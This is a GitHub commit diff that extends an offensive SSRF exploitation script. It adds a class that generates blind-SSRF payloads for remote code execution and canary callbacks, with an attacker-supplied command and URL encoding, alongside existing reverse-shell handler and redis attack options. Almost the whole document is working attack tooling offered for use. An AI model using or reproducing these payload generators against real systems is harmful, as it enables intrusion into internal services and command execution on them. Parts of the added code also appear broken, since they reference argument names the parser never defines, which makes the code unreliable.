Skip to content

Commit bcb4162

Browse files
authored
Update ssrf-exploition
1 parent d56052e commit bcb4162

File tree

1 file changed

+117
-1
lines changed

1 file changed

+117
-1
lines changed

ssrf-exploition

Lines changed: 117 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@ import logging
1212
import re
1313
import json
1414
import socket
15+
import sys
16+
import base64
1517

1618
execPath = os.getcwd()
1719
currentPath = os.path.dirname(__file__)
@@ -31,19 +33,31 @@ python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile
3133
python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
3234
python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
3335
python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis
36+
python3 ssrf-exploition.py -u https://example.com/ -cn subdomain.collaborator.net -m canary
37+
python3 ssrf-exploition.py -u https://example.com/ -cn https://subdomain.collaborator.net --mode canary -e 2
38+
python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -Fl Jira
39+
python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -p https -v
40+
3441

3542
'''
3643
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
37-
parser.add_argument("--file", "-f", type=str, required=False, help= 'file of all URLs to be tested against SSRF')
44+
parser.add_argument("--file", "-f", metavar="TARGET_FILE", nargs="?", help="Set the target list containing internal domain names or IP addresses")
3845
parser.add_argument("--url", "-u", type=str, required=False, help= 'url to be tested against SSRF')
3946
parser.add_argument("--threads", "-n", type=int, required=False, help= 'number of threads for the tool')
4047
parser.add_argument("--output", "-o", type=str, required=False, help='output file path')
4148
parser.add_argument("--data", "-d", action="store", dest="reqfile", help="SSRF Request File")
49+
parser.add_argument("--protocol", "-p", metavar="PROTOCOL", nargs="?", default="http://", help="Set the internal address protocol.\ndefault is http://")
4250
parser.add_argument("--moudle", "-m", action="store", dest="moudles", help="SSRF Moudles to enable")
51+
parser.add_argument("--canary", "-cn", metavar="CANARY_ADDRESS", nargs="?", help="Set canary address to confirm internal services")
52+
parser.add_argument("--command", "-c", metavar="COMMAND", nargs="?", default="", help="Set the command to be executed")
53+
parser.add_argument("--encode", "-e", metavar="ENCODE_LEVEL", nargs="?", default="1", help="Set the payload's URLencode level,ex:\n-e 0 will not encode the payload\n-e 2 will double URLencode the output")
54+
parser.add_argument("--filter", "-Fl", metavar="FILTER", nargs="*", default=["shellshock"], help="Filter category, framework or a specific payload from the results\ndefault: exclude Shellshock payloads")
4355
parser.add_argument("--handler", "-l", action="store", dest="handler", help="Start an handler for a reverse shell" )
56+
parser.add_argument("--OAuth", "--ar", help="Aurhotization request URL ending with redirect_uri=", required=False)
4457
parser.add_argument("--oneshot", "-t", action='store_true', help='fuzz with only one basic payload - to be activated in case of time constraints')
4558
parser.add_argument("--rfiles", "-r", action="store", dest="targetfiles", help="Files to read with readfiles moudle" )
4659
parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode' )
60+
parser.add_argument("--mode", metavar="MODE", nargs="?", default="canary", help="There are currently three supported modes:\ncanary (deafult mode: generate canary payloads)\nrce (generate payloads that can lead to RCE)\nall (generates RCE and Canary payloads)")
4761
parser.add_argument("--lhost", action="store", dest="lhost", help="LHOST reverse shell")
4862
parser.add_argument("--lport", action="store", dest="lport", help="LPORT reverse shell")
4963
parser.add_argument("--ssl", action ='store', dest='ssl', help="Use HTTPS without verification", )
@@ -78,6 +92,7 @@ regexParams = regex.compile('(?<=(access|dbg|debug|edit|grant|clone|exec|execute
7892

7993
extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
8094

95+
8196
class Handler(threading.Thread):
8297

8398
def __init__(self, host, port):
@@ -274,6 +289,85 @@ class Requester(object):
274289
text += data + "=" + self.data[data] + "&"
275290
return text[:-1]
276291

292+
class Gun:
293+
def __init__(self, target, file, command, encode_level, protocol, canary, mode, verbose, _filter):
294+
295+
self._targets = []
296+
297+
if target is not None:
298+
self._targets.append(self.add_protocol(target, protocol))
299+
else:
300+
with open(file) as f:
301+
for line in f:
302+
line = line.strip()
303+
self._targets.append(self.add_protocol(str(line), "http"))
304+
305+
if canary is not None:
306+
self._canary = self.add_protocol(canary, protocol)
307+
else:
308+
self._canary = ''
309+
310+
self._encode_level = int(encode_level)
311+
self._filter = _filter
312+
313+
if mode == "canary":
314+
self._filter.append('http')
315+
self._filter.append('gopher')
316+
elif mode == "rce":
317+
self._filter.append('canaries')
318+
319+
self._command = str(command)
320+
self._verbose = verbose
321+
self._crlf = "{canary}/ HTTP/1.1{newline}Connection:keep-alive{newline}Host:{canary_host}{newline}Content-Length: 1{newline}{newline}1{newline}"
322+
323+
def reload(self):
324+
for line in self._targets:
325+
326+
# format CRLF payloads
327+
self._crlf = self._crlf.format(canary = line, newline = '\\r\\n', canary_host = urllib.parse.urlparse(line).netloc)
328+
self.trigger(line)
329+
330+
def trigger(self, target):
331+
payload_file = open('payloads/blind-ssrf-payloads.json') # remember to add dir here
332+
data = json.load(payload_file)
333+
334+
for category in data['categories']:
335+
if category in self._filter:
336+
continue
337+
if self._verbose:
338+
print("[{}]:".format(category))
339+
for framework in data['categories'][category]:
340+
if framework in self._filter:
341+
continue
342+
if self._verbose:
343+
print(" [{}]:".format(framework))
344+
for payload in data['categories'][category][framework]:
345+
if payload in self._filter:
346+
continue
347+
address = data['categories'][category][framework][payload] \
348+
.format(target_addr = target, canary_addr = self._canary,
349+
canary_urlencoded = urllib.parse.quote(self._canary), crlf = self._crlf, newline = '\\r\\n',
350+
target_host = urllib.parse.urlparse(target), command = self._command, command_b64encoded = base64.b64encode((self._command).encode('UTF-8')).decode('UTF-8'))
351+
352+
for i in range(self._encode_level):
353+
address = urllib.parse.quote(address)
354+
355+
if self._verbose:
356+
print(" [{}]:\n{}".format(payload, address))
357+
else:
358+
print("{}".format(address))
359+
360+
def add_protocol(self, target, protocol):
361+
if target.endswith("/"):
362+
target = target[:-1]
363+
if "//" not in target:
364+
if "//" not in protocol:
365+
target = protocol + "://" + target
366+
else:
367+
target = protocol + target
368+
369+
return target
370+
277371
def getFileSize(fileID):
278372
interactionLogs = open(f"output/threadsLogs/interaction-logs{fileID}.txt", "r")
279373
return len(interactionLogs.read())
@@ -460,7 +554,28 @@ def main():
460554
for thread in workingThreads:
461555
thread.join()
462556
outputFile.close()
557+
args_t = args()
558+
_command = ''
559+
560+
if args_t.mode and args_t.mode != "canary":
561+
if not args_t.command:
562+
print('the argument -c/--command is required to generate RCE payloads')
563+
exit()
564+
else:
565+
if int(args_t.encode) > -1:
566+
_command = urllib.parse.quote(args_t.command)
567+
else:
568+
_command = args_t.command
569+
570+
if args_t.mode and args_t.mode == "canary":
571+
if not args_t.canary:
572+
print('the argument -cn/--canary is required to generate canary payloads')
573+
exit()
463574

575+
gun = Gun(args_t.target, args_t.target_list, _command,
576+
args_t.encode, args_t.protocol, args_t.canary, args_t.mode, args_t.verbose, args_t.filter)
577+
578+
gun.reload()
464579

465580

466581
if __name__ == '__main__':
@@ -479,3 +594,4 @@ if __name__ == '__main__':
479594
logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
480595
logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
481596

597+

0 commit comments

Comments
 (0)